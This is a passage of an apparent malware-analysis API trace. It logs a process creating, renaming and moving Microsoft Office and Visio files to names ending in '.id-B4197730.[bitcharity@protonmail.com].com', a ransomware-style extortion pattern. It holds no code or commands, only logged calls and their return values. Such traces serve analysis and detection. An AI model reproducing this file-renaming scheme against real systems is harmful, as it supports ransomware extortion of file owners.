hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.276] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TQM_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\tqm_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.276] CloseHandle (hObject=0x10c0) returned 1 [0278.277] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.277] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TQM_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\tqm_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.277] CloseHandle (hObject=0x10c0) returned 1 [0278.278] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.278] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TQM_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\tqm_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.278] CloseHandle (hObject=0x10c0) returned 1 [0278.279] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.279] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TRANSP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\transp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.279] CloseHandle (hObject=0x10c0) returned 1 [0278.280] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.280] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\TRANSP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\transp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.280] CloseHandle (hObject=0x10c0) returned 1 [0278.287] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.287] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UACTME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uactme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.287] CloseHandle (hObject=0x10c0) returned 1 [0278.289] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.289] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UACTME_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uactme_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.289] CloseHandle (hObject=0x10c0) returned 1 [0278.290] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.290] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UACTME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uactme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.290] CloseHandle (hObject=0x10c0) returned 1 [0278.291] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.291] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UACTME_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uactme_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.292] CloseHandle (hObject=0x10c0) returned 1 [0278.671] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.671] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UMLSEQUENCE_INTERACTIONFRAME_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\umlsequence_interactionframe_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.671] CloseHandle (hObject=0x1188) returned 1 [0278.672] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.672] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFWICN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfwicn_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.672] CloseHandle (hObject=0x1188) returned 1 [0278.672] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.672] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_DEPARTMENTAL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_departmental_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.673] CloseHandle (hObject=0x1188) returned 1 [0278.673] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.673] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_DEPARTMENTAL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_departmental_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.673] CloseHandle (hObject=0x1188) returned 1 [0278.674] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.674] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_FUNCTION_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_function_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.675] CloseHandle (hObject=0x1188) returned 1 [0278.675] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.675] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_FUNCTION_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_function_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.675] CloseHandle (hObject=0x1188) returned 1 [0278.676] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.676] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_process_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.676] CloseHandle (hObject=0x1188) returned 1 [0278.677] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.677] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WORKFLOW_PROCESS_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\workflow_process_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.677] CloseHandle (hObject=0x1188) returned 1 [0278.678] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.678] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.678] CloseHandle (hObject=0x1188) returned 1 [0278.678] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.678] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.679] CloseHandle (hObject=0x1188) returned 1 [0278.679] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.679] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.680] CloseHandle (hObject=0x1188) returned 1 [0278.680] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.680] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.680] CloseHandle (hObject=0x1188) returned 1 [0278.681] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.681] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkfme_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.681] CloseHandle (hObject=0x1188) returned 1 [0278.682] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.682] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFME_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkfme_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.682] CloseHandle (hObject=0x1188) returned 1 [0278.682] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.683] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.683] CloseHandle (hObject=0x1188) returned 1 [0278.683] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.683] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.684] CloseHandle (hObject=0x1188) returned 1 [0278.684] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.684] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.684] CloseHandle (hObject=0x1188) returned 1 [0278.685] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.685] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.686] CloseHandle (hObject=0x1188) returned 1 [0278.688] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.688] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\visio.exe.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.689] CloseHandle (hObject=0x1188) returned 1 [0278.690] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.690] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VisioCustom.propdesc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visiocustom.propdesc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.690] CloseHandle (hObject=0x1188) returned 1 [0278.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISLIB.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vislib.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISLIB.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vislib.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0278.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VVIEWDWG.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vviewdwg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VVIEWDWG.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vviewdwg.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0278.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VVIEWER.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vviewer.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VVIEWER.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vviewer.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0278.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0278.703] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.703] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\winproj.exe.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 